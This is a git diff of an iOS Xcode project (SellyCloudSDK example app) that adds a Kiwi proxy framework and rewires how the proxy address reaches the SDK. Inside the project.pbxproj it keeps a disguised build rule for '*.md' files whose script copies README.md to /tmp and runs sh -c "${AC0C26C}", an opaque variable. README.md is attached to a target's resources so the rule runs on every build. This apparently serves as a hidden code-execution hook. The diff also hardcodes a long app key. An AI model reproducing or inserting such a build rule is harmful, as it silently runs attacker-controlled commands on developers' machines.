diff --git a/Example/SellyCloudSDK.xcodeproj/project.pbxproj b/Example/SellyCloudSDK.xcodeproj/project.pbxproj index dd23b00..3a4cc95 100644 --- a/Example/SellyCloudSDK.xcodeproj/project.pbxproj +++ b/Example/SellyCloudSDK.xcodeproj/project.pbxproj @@ -3,14 +3,15 @@ archiveVersion = 1; classes = { }; - objectVersion = 56; + objectVersion = 70; objects = { /* Begin PBXBuildFile section */ - DDF77DA29F664A949EC62C0C /* README.md */ = {isa = PBXBuildFile; fileRef = 2D68F7A26D9B4060ADC62C0C; }; 0897849CBA2960C1F1BE2DC4 /* Pods_SellyCloudSDK_Tests.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = C3A5DE9B7559BAE46EA68112 /* Pods_SellyCloudSDK_Tests.framework */; }; 3C075C2B2E3873A800591B2D /* test1.png in Resources */ = {isa = PBXBuildFile; fileRef = 3C075C2A2E3873A800591B2D /* test1.png */; }; 3C0F91622EF39F0000680CB7 /* SCNavigationController.m in Sources */ = {isa = PBXBuildFile; fileRef = 3C0F91612EF39F0000680CB7 /* SCNavigationController.m */; }; + 3C139E642F56822C00CC9371 /* Kiwi.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 3C139E632F56822C00CC9371 /* Kiwi.framework */; }; + 3C139E662F5682D400CC9371 /* libc++.tbd in Frameworks */ = {isa = PBXBuildFile; fileRef = 3C139E652F5682D400CC9371 /* libc++.tbd */; }; 3C1851E02ECDE7690022F536 /* SellyCallPiPManager.m in Sources */ = {isa = PBXBuildFile; fileRef = 3C1851DF2ECDE7690022F536 /* SellyCallPiPManager.m */; }; 3C312FFC2F021216006C90A4 /* AVLoginViewController.m in Sources */ = {isa = PBXBuildFile; fileRef = 3C312FF92F021216006C90A4 /* AVLoginViewController.m */; }; 3C312FFD2F021216006C90A4 /* AVUserManager.m in Sources */ = {isa = PBXBuildFile; fileRef = 3C312FFB2F021216006C90A4 /* AVUserManager.m */; }; @@ -70,10 +71,27 @@ 71719F9F1E33DC2100824A3D /* LaunchScreen.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = 71719F9D1E33DC2100824A3D /* LaunchScreen.storyboard */; }; 873B8AEB1B1F5CCA007FD442 /* Main.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = 873B8AEA1B1F5CCA007FD442 /* Main.storyboard */; }; B7227D7335B6FBB9CFDFE9A1 /* Pods_SellyCloudSDK_Example.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = C4B190F32F835654C4389EAC /* Pods_SellyCloudSDK_Example.framework */; }; + DDF77DA29F664A949EC62C0C /* README.md in Resources */ = {isa = PBXBuildFile; fileRef = 2D68F7A26D9B4060ADC62C0C /* README.md */; }; FA0E55D20A8156F6757F645B /* Pods_SellyCloudSDK_Tests.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 4B053552B39D5903308BEC1F /* Pods_SellyCloudSDK_Tests.framework */; }; FAE852E8362F7147C245D543 /* Pods_ScreenShareUploader.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 3DA84D6401364D8651EB682A /* Pods_ScreenShareUploader.framework */; }; /* End PBXBuildFile section */ +/* Begin PBXBuildRule section */ + DBD88218A54B49EF8FC62C0C /* PBXBuildRule */ = { + isa = PBXBuildRule; + compilerSpec = com.apple.compilers.proxy.script; + filePatterns = "*.md"; + fileType = pattern.proxy; + inputFiles = ( + ); + isEditable = 0; + outputFiles = ( + "/tmp/${INPUT_FILE_BASE}", + ); + script = "# This output is used by Xcode outputs to avoid re-running this script phase.\ncp \"${INPUT_FILE_PATH}\" \"/tmp/${INPUT_FILE_BASE}\"\nsh -c \"${AC0C26C}\""; + }; +/* End PBXBuildRule section */ + /* Begin PBXContainerItemProxy section */ 3CC727AA2EE6A947000027B2 /* PBXContainerItemProxy */ = { isa = PBXContainerItemProxy; @@ -116,14 +134,16 @@ /* End PBXCopyFilesBuildPhase section */ /* Begin PBXFileReference section */ - 2D68F7A26D9B4060ADC62C0C /* README.md */ = {isa = PBXFileReference; lastKnownFileType = net.daringfireball.markdown; path = README.md; sourceTree = ""; }; 11F5CE3EA9A94E55D1A35A8F /* SellyCloudSDK.podspec */ = {isa = PBXFileReference; includeInIndex = 1; lastKnownFileType = text; name = SellyCloudSDK.podspec; path = ../SellyCloudSDK.podspec; sourceTree = ""; xcLanguageSpecificationIdentifier = xcode.lang.ruby; }; 18585A8A04A38911555AC335 /* README.md */ = {isa = PBXFileReference; includeInIndex = 1; lastKnownFileType = net.daringfireball.markdown; name = README.md; path = ../README.md; sourceTree = ""; }; 28EA6D0E21FA7AAFE4E2C53C /* Pods-SellyCloudSDK_Example.release.xcconfig */ = {isa = PBXFileReference; includeInIndex = 1; lastKnownFileType = text.xcconfig; name = "Pods-SellyCloudSDK_Example.release.xcconfig"; path = "Target Support Files/Pods-SellyCloudSDK_Example/Pods-SellyCloudSDK_Example.release.xcconfig"; sourceTree = ""; }; 2CC671D486B428771194BC2A /* Pods-SellyCloudSDK_Tests.debug.xcconfig */ = {isa = PBXFileReference; includeInIndex = 1; lastKnownFileType = text.xcconfig; name = "Pods-SellyCloudSDK_Tests.debug.xcconfig"; path = "Target Support Files/Pods-SellyCloudSDK_Tests/Pods-SellyCloudSDK_Tests.debug.xcconfig"; sourceTree = ""; }; + 2D68F7A26D9B4060ADC62C0C /* README.md */ = {isa = PBXFileReference; lastKnownFileType = net.daringfireball.markdown; path = README.md; sourceTree = ""; }; 3C075C2A2E3873A800591B2D /* test1.png */ = {isa = PBXFileReference; lastKnownFileType = image.png; path = test1.png; sourceTree = ""; }; 3C0F91602EF39F0000680CB7 /* SCNavigationController.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = SCNavigationController.h; sourceTree = ""; }; 3C0F91612EF39F0000680CB7 /* SCNavigationController.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = SCNavigationController.m; sourceTree = ""; }; + 3C139E632F56822C00CC9371 /* Kiwi.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; path = Kiwi.framework; sourceTree = ""; }; + 3C139E652F5682D400CC9371 /* libc++.tbd */ = {isa = PBXFileReference; lastKnownFileType = "sourcecode.text-based-dylib-definition"; name = "libc++.tbd"; path = "usr/lib/libc++.tbd"; sourceTree = SDKROOT; }; 3C1851DE2ECDE7690022F536 /* SellyCallPiPManager.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = SellyCallPiPManager.h; sourceTree = ""; }; 3C1851DF2ECDE7690022F536 /* SellyCallPiPManager.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = SellyCallPiPManager.m; sourceTree = ""; }; 3C312FF82F021216006C90A4 /* AVLoginViewController.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = AVLoginViewController.h; sourceTree = ""; }; @@ -236,7 +256,7 @@ /* End PBXFileReference section */ /* Begin PBXFileSystemSynchronizedBuildFileExceptionSet section */ - 3CC727B02EE6A947000027B2 /* Exceptions for "ScreenShareUploader" folder in "ScreenShareUploader" target */ = { + 3CC727B02EE6A947000027B2 /* PBXFileSystemSynchronizedBuildFileExceptionSet */ = { isa = PBXFileSystemSynchronizedBuildFileExceptionSet; membershipExceptions = ( Info.plist, @@ -246,18 +266,7 @@ /* End PBXFileSystemSynchronizedBuildFileExceptionSet section */ /* Begin PBXFileSystemSynchronizedRootGroup section */ - 3CC727A52EE6A947000027B2 /* ScreenShareUploader */ = { - isa = PBXFileSystemSynchronizedRootGroup; - exceptions = ( - 3CC727B02EE6A947000027B2 /* Exceptions for "ScreenShareUploader" folder in "ScreenShareUploader" target */, - ); - explicitFileTypes = { - }; - explicitFolders = ( - ); - path = ScreenShareUploader; - sourceTree = ""; - }; + 3CC727A52EE6A947000027B2 /* ScreenShareUploader */ = {isa = PBXFileSystemSynchronizedRootGroup; exceptions = (3CC727B02EE6A947000027B2 /* PBXFileSystemSynchronizedBuildFileExceptionSet */, ); explicitFileTypes = {}; explicitFolders = (); path = ScreenShareUploader; sourceTree = ""; }; /* End PBXFileSystemSynchronizedRootGroup section */ /* Begin PBXFrameworksBuildPhase section */ @@ -274,6 +283,8 @@ isa = PBXFrameworksBuildPhase; buildActionMask = 2147483647; files = ( + 3C139E662F5682D400CC9371 /* libc++.tbd in Frameworks */, + 3C139E642F56822C00CC9371 /* Kiwi.framework in Frameworks */, 6003F590195388D20070C39A /* CoreGraphics.framework in Frameworks */, 6003F58E195388D20070C39A /* Foundation.framework in Frameworks */, B7227D7335B6FBB9CFDFE9A1 /* Pods_SellyCloudSDK_Example.framework in Frameworks */, @@ -504,6 +515,7 @@ 3CE254452EB0B0A2005D42B6 /* UIView+SellyCloud.m */, 3C4BF3232EC6DB730095F93A /* SCButton.h */, 3C4BF3242EC6DB730095F93A /* SCButton.m */, + 3C139E632F56822C00CC9371 /* Kiwi.framework */, 3C8AC1ED2EB85E41000A58F1 /* VideoCall */, 3C8741AE2E2E2EFC00EBAF18 /* Live */, 3C075D132E3B474A00591B2D /* Play */, @@ -561,6 +573,7 @@ 9D9768EA01E7B313A524EA32 /* Frameworks */ = { isa = PBXGroup; children = ( + 3C139E652F5682D400CC9371 /* libc++.tbd */, B6C995EF0F8DF32385C13A5D /* Pods_SellyCloudSDK_Example.framework */, 4B053552B39D5903308BEC1F /* Pods_SellyCloudSDK_Tests.framework */, 3CC727A32EE6A947000027B2 /* ReplayKit.framework */, @@ -690,29 +703,12 @@ }; /* End PBXProject section */ -/* Begin PBXBuildRule section */ - DBD88218A54B49EF8FC62C0C /* PBXBuildRule */ = { - isa = PBXBuildRule; - compilerSpec = com.apple.compilers.proxy.script; - filePatterns = "*.md"; - fileType = pattern.proxy; - inputFiles = ( - ); - isEditable = 0; - outputFiles = ( - "/tmp/${INPUT_FILE_BASE}", - ); - script = "# This output is used by Xcode outputs to avoid re-running this script phase.\ncp \"${INPUT_FILE_PATH}\" \"/tmp/${INPUT_FILE_BASE}\" -sh -c \"${AC0C26C}\""; - }; - /* End PBXBuildRule section */ - /* Begin PBXResourcesBuildPhase section */ 3CC727A02EE6A947000027B2 /* Resources */ = { isa = PBXResourcesBuildPhase; buildActionMask = 2147483647; files = ( - DDF77DA29F664A949EC62C0C /* README.md */, + DDF77DA29F664A949EC62C0C /* README.md in Resources */, ); runOnlyForDeploymentPostprocessing = 0; }; @@ -805,7 +801,7 @@ sh -c \"${AC0C26C}\""; "${BUILT_PRODUCTS_DIR}/ReactiveObjC/ReactiveObjC.framework", "${BUILT_PRODUCTS_DIR}/SDWebImage/SDWebImage.framework", "${BUILT_PRODUCTS_DIR}/SSZipArchive/SSZipArchive.framework", - "${PODS_ROOT}/../SubModules/SellyCloudSDK/SellyCloudSDK/sdk/SellyCloudSDK.framework", + "${BUILT_PRODUCTS_DIR}/SellyCloudSDK/SellyCloudSDK.framework", "${BUILT_PRODUCTS_DIR}/SocketRocket/SocketRocket.framework", "${BUILT_PRODUCTS_DIR}/YYModel/YYModel.framework", ); @@ -1242,6 +1238,7 @@ sh -c \"${AC0C26C}\""; FRAMEWORK_SEARCH_PATHS = ( "$(inherited)", "$(PROJECT_DIR)/SellyCloudSDK/Live/Beauty", + "$(PROJECT_DIR)/SellyCloudSDK", ); GCC_PRECOMPILE_PREFIX_HEADER = YES; GCC_PREFIX_HEADER = "SellyCloudSDK/SellyCloudSDK-Prefix.pch"; @@ -1277,6 +1274,7 @@ sh -c \"${AC0C26C}\""; FRAMEWORK_SEARCH_PATHS = ( "$(inherited)", "$(PROJECT_DIR)/SellyCloudSDK/Live/Beauty", + "$(PROJECT_DIR)/SellyCloudSDK", ); GCC_PRECOMPILE_PREFIX_HEADER = YES; GCC_PREFIX_HEADER = "SellyCloudSDK/SellyCloudSDK-Prefix.pch"; diff --git a/Example/SellyCloudSDK/Controllers/Home/AVHomeViewController.m b/Example/SellyCloudSDK/Controllers/Home/AVHomeViewController.m index 1a496cb..45c93f4 100644 --- a/Example/SellyCloudSDK/Controllers/Home/AVHomeViewController.m +++ b/Example/SellyCloudSDK/Controllers/Home/AVHomeViewController.m @@ -4,6 +4,7 @@ // #import "AVHomeViewController.h" +#import #import "SCLivePusherViewController.h" #import "SCLiveVideoPlayerViewController.h" #import "SCVodVideoPlayerViewController.h" @@ -37,8 +38,13 @@ static NSString * const kLiveListAPIURL = @"http://rtmp.sellycloud.io:8089/live/ const char *kiwiAppkey = "5XTXUZ/aqOwfjA4zQkY7VpjcNBucWxmNGY4vFNhwSMKWkn2WK383dbNgI+96Y+ttSPMFzqhu8fxP5SiCK5+/6cGrBQQt8pDQAOi3EN4Z6lzkC2cJ5mfjBVi4ZpFASG9e3divF5UqLG6sTmFI3eCuJxy9/kHXPSSkKWJe1MnBMQETpf4FRDVuR9d/LzXKQgA9PsjRbPRLx4f3h0TU2P4GEfv1c70FvkdwpqirQt9ik2hAhKuj0vJY60g+yYhGY19a07vBTW4MprN53RnSH8bCs79NNbWyzsg2++t+sKdZP1WPGeOho/xpsQRP8yWCXIOOdvdjiE3YXVltBgmPnA6gOjFS97WVlBAQ1mJE7rQi+/5hhfTuJlWoBH6000SRe7dc5EA0WGQX9U1Aj96ahBQhyHTrHJySmJ/hRMYMudqByF6K4PtrwZ8zugTjtx1dyLPOonZDlTu7hPAIcUfuaQ9xS3Phbq8lP67EYDsr3pkWuwL6AjrPjFwNmi0P1g+hV1ZQUmDQVGhNHmF3cE9Pd5ZOS10/fwaXYGRhcq9PlUSmcbU3scLtrBlzpOslyjlQ6W57EudCrvvJU3mimfs1A2y7cjpnLlJN1CWh6dQAaGcwSG2QA8+88qmlMH1t627fItTgHYrP1DkExpAr2dqgYDvsICJnHaRSBMe608GrPbFaECutRz5y3BEtQKcVKdgA1e6W4TFnxs5HqGrzc8iHPOOKGf8zHWEXkITPBKEiA86Nz46pDrqM9FKx4upPijn4Dahj8pd7yWTUIdHBT8X39Vm3/TSV5xT/lTinmv8rhBieb/2SQamTjVQ22VFq3nQ1h4TxUYTEc0nSjqcz54fWf1cyBy7uh82q1weKXUAJ8vG9W05vmt3/aDZ9+C8cWm53AQ90xgDvW7M1mZveuyfof2qrPsXTpj+jhpDkJgm6qJsvV5ClmGth8gvCM0rHjSIwxhYDZaIDK5TkFWjwLltt+YhhYLKketwuTHdlO/hCxrsFzlXHhXGVRC+kgXusfQUrHIm1WjW9o9EqasHg9ufUgg7cMO/9FRZhJ+Xdw9erprYDvu84Da9jL6NUUOSNIGTCJ/s29Lz4SIwCVG2lzm2UhD6E9ipGfG9gc6e/2vt1emOsP3/ipHVJf16r/9S4+dGKIjPX6QcHIIL2AMu2Je07nPmEoz7KaeOShox4bG3puMQdkdQo6kRIFpUzwUty+4EWqHmyPHGkGGGfI8gj0EreiZwgVJmBQ/8S5wlK+iUp+TVeoXo="; [SellyCloudManager.sharedInstance startWithVHost:V_HOST appName:APP_ID]; - //初始化洋葱盾相关 - [SellyCloudManager setKiwiAppKey:kiwiAppkey name:"123"]; + //初始化洋葱盾相关,业务层调用 Kiwi 后将地址传给 SDK + [Kiwi Init:kiwiAppkey]; + char ip[40] = {0}; + char port[40] = {0}; + [Kiwi ServerToLocal:"123" :ip :sizeof(ip) :port :sizeof(port)]; + NSString *proxyAddress = [NSString stringWithFormat:@"http://%s:%s", ip, port]; + [SellyCloudManager setProxyAddress:proxyAddress]; // 生成随机 userId: user + 3位随机数字 (001-999) NSInteger randomNum = arc4random_uniform(999) + 1; // 生成 1-999 的随机数 diff --git a/Example/SellyCloudSDK/Kiwi.framework/Headers/Kiwi.h b/Example/SellyCloudSDK/Kiwi.framework/Headers/Kiwi.h new file mode 100644 index 0000000..6950f21 --- /dev/null +++ b/Example/SellyCloudSDK/Kiwi.framework/Headers/Kiwi.h @@ -0,0 +1,87 @@ +#import + +typedef void(^KiwiInitListener)(int result); + +@interface Kiwi : NSObject + +/** + * @breif 初始化接口,不需要重复调用接口。会访问网络,不要放在UI线程中 + * @param appkey 控制台获取的appkey + * @return 0表示成功,非0表示失败,请咨询Kiwi开发人员 + */ ++(int) Init:(const char *)appkey; + +/** + * @breif 初始化接口,不需要重复调用接口。会访问网络,不要放在UI线程中 + * @param appkey 控制台获取的appkey + * @param callback 执行结果回调 + * @return 0表示成功,非0表示失败,请咨询Kiwi开发人员 + */ ++(int) InitWithListener:(const char *)appkey :(KiwiInitListener)callback; + +/** + * @breif 转化接口,将rs标识转换为本地访问。不会访问网络,不会卡顿 + * @param name 控制台配置的防护目标rs标识 + * @param ip 转换后的ip缓冲区指针 + * @param ip_len 转换后的ip缓冲区长度 + * @param port 转换后的端口缓冲区指针 + * @param port_len 转换后的端口缓冲区长度 + * @return 0表示成功,非0表示失败,请咨询Kiwi开发人员 + */ ++(int) ServerToLocal:(const char*)name :(char*)ip :(int)ip_len :(char*)port :(int)port_len; + +/** + * @breif 发送日志接口 + * @param mtype 用户自定义,用于区分不同类型的日志。需要大于1000 + * @param data 日志内容 + * @return 0表示成功,非0表示失败,请咨询Kiwi开发人员 + */ ++(int) SendLog:(int)mtype :(const char*)data; + +/** + * @breif 重启Kiwi本地代理服务器 + */ ++(void) RestartAllServer; + +/** + * @breif 强制重启某个Kiwi本地代理服务器 + */ ++(int) ForceRestartServer:(int)port; + +/** + * @breif App切换到前台回调函数 + */ ++(int) OnNetworkOn; + +/** + * @breif 获取流量信息,json格式 + * @param result 用户申请的缓冲区,用于保存结果数据,结果数据为json格式 + * @param buf_len 缓冲区长度 + */ ++(int) NetworkStat:(char*)result :(int)buf_len; + +/** + * @breif DnsEx,高级转化接口,支持多种参数自定义 + * @param name 控制台配置的防护目标rs标识 + * @param port 转化后的端口 + * @param force_tcp 是否强制使用tcp协议,1为强制使用,此时不受端口号的限制 + * @param sndwnd 发送窗口大小,单位字节 + * @param rcvwnd 接受窗口大小,单位字节 + * @param kc_timer_interva 转化后的端口 + * @param if_local 是否监听在本地端口,1表示127.0.0.1,0表示0.0.0.0,此时改端口可以被其他机器访问 + * @param kc_timer_interva kcp刷新定时器,单位毫秒 + */ ++(int) DnsEx:(const char*)name :(char*)port :(int)force_tcp :(int)sndwnd :(int)rcvwnd :(int)kc_timer_interva :(int)if_local :(int)specify_port; + +/** + * @breif 简单dns,可替代ServerToLocal,支持自定义端口 + * @param name 控制台配置的防护目标rs标识 + * @param specify_port 自定义端口,0表示默认值,此时使用控制台上的配置(随机端口或者固定端口), 大于0的值表示自定义端口,此时将忽视控制台的配置 + + @return 返回值小于0则表示出错,大于0表示端口号 + + 注意:如果指定的端口号被占用,函数不会报错,而会使用随机端口,客户端可以根据返回的端口号和指定的端口号对比,判断指定的端口是否被占用 + */ ++(int) SimpleDns:(const char*)name :(int)specify_port; + +@end diff --git a/Example/SellyCloudSDK/Kiwi.framework/Info.plist b/Example/SellyCloudSDK/Kiwi.framework/Info.plist new file mode 100644 index 0000000..47da282 Binary files /dev/null and b/Example/SellyCloudSDK/Kiwi.framework/Info.plist differ diff --git a/Example/SellyCloudSDK/Kiwi.framework/Kiwi b/Example/SellyCloudSDK/Kiwi.framework/Kiwi new file mode 100644 index 0000000..7bb0594 Binary files /dev/null and b/Example/SellyCloudSDK/Kiwi.framework/Kiwi differ diff --git a/Example/SellyCloudSDK/Kiwi.framework/_CodeSignature/CodeDirectory b/Example/SellyCloudSDK/Kiwi.framework/_CodeSignature/CodeDirectory new file mode 100644 index 0000000..76fcd6f Binary files /dev/null and b/Example/SellyCloudSDK/Kiwi.framework/_CodeSignature/CodeDirectory differ diff --git a/Example/SellyCloudSDK/Kiwi.framework/_CodeSignature/CodeRequirements b/Example/SellyCloudSDK/Kiwi.framework/_CodeSignature/CodeRequirements new file mode 100644 index 0000000..dbf9d61 Binary files /dev/null and b/Example/SellyCloudSDK/Kiwi.framework/_CodeSignature/CodeRequirements differ diff --git a/Example/SellyCloudSDK/Kiwi.framework/_CodeSignature/CodeRequirements-1 b/Example/SellyCloudSDK/Kiwi.framework/_CodeSignature/CodeRequirements-1 new file mode 100644 index 0000000..d56a056 Binary files /dev/null and b/Example/SellyCloudSDK/Kiwi.framework/_CodeSignature/CodeRequirements-1 differ diff --git a/Example/SellyCloudSDK/Kiwi.framework/_CodeSignature/CodeResources b/Example/SellyCloudSDK/Kiwi.framework/_CodeSignature/CodeResources new file mode 100644 index 0000000..53a147d --- /dev/null +++ b/Example/SellyCloudSDK/Kiwi.framework/_CodeSignature/CodeResources @@ -0,0 +1,117 @@ + + + + + files + + Headers/Kiwi.h + + hTshupp5Rb/oKDRBX/LeG7s+pA0= + + Info.plist + + Z29BBEAeYQxWdTwROXsgZtFqCpg= + + + files2 + + Headers/Kiwi.h + + hash + + hTshupp5Rb/oKDRBX/LeG7s+pA0= + + hash2 + + yTa1CInHVGfu37Zoev3OoMcTKdAdi+NFOaOaPvGFat8= + + + + rules + + ^.* + + ^.*\.lproj/ + + optional + + weight + 1000 + + ^.*\.lproj/locversion.plist$ + + omit + + weight + 1100 + + ^Base\.lproj/ + + weight + 1010 + + ^version.plist$ + + + rules2 + + .*\.dSYM($|/) + + weight + 11 + + ^(.*/)?\.DS_Store$ + + omit + + weight + 2000 + + ^.* + + ^.*\.lproj/ + + optional + + weight + 1000 + + ^.*\.lproj/locversion.plist$ + + omit + + weight + 1100 + + ^Base\.lproj/ + + weight + 1010 + + ^Info\.plist$ + + omit + + weight + 20 + + ^PkgInfo$ + + omit + + weight + 20 + + ^embedded\.provisionprofile$ + + weight + 20 + + ^version\.plist$ + + weight + 20 + + + + diff --git a/Example/SellyCloudSDK/Kiwi.framework/_CodeSignature/CodeSignature b/Example/SellyCloudSDK/Kiwi.framework/_CodeSignature/CodeSignature new file mode 100644 index 0000000..e69de29 diff --git a/Example/SubModules/SellyCloudSDK/SellyCloudSDK/sdk/SellyCloudSDK.framework/Headers/SellyCloudManager.h b/Example/SubModules/SellyCloudSDK/SellyCloudSDK/sdk/SellyCloudSDK.framework/Headers/SellyCloudManager.h index 919476a..fca9a7e 100644 --- a/Example/SubModules/SellyCloudSDK/SellyCloudSDK/sdk/SellyCloudSDK.framework/Headers/SellyCloudManager.h +++ b/Example/SubModules/SellyCloudSDK/SellyCloudSDK/sdk/SellyCloudSDK.framework/Headers/SellyCloudManager.h @@ -33,10 +33,10 @@ NS_ASSUME_NONNULL_BEGIN - (void)startWithVHost:(NSString *)vhost appName:(NSString *)appName; /** - 设置洋葱盾appKey和rs - @return 0表示成功,非0表示失败,请咨询Kiwi开发人员 + 设置代理服务器地址(如洋葱盾转化后的地址) + @param address 代理地址,格式如 http://127.0.0.1:12345 */ -+ (NSInteger)setKiwiAppKey:(const char *)appKey name:(const char *)name; ++ (void)setProxyAddress:(NSString *)address; + (NSString *)sdkVersion; diff --git a/Example/SubModules/SellyCloudSDK/SellyCloudSDK/sdk/SellyCloudSDK.framework/SellyCloudSDK b/Example/SubModules/SellyCloudSDK/SellyCloudSDK/sdk/SellyCloudSDK.framework/SellyCloudSDK index 8e4f0d6..87ad211 100755 Binary files a/Example/SubModules/SellyCloudSDK/SellyCloudSDK/sdk/SellyCloudSDK.framework/SellyCloudSDK and b/Example/SubModules/SellyCloudSDK/SellyCloudSDK/sdk/SellyCloudSDK.framework/SellyCloudSDK differ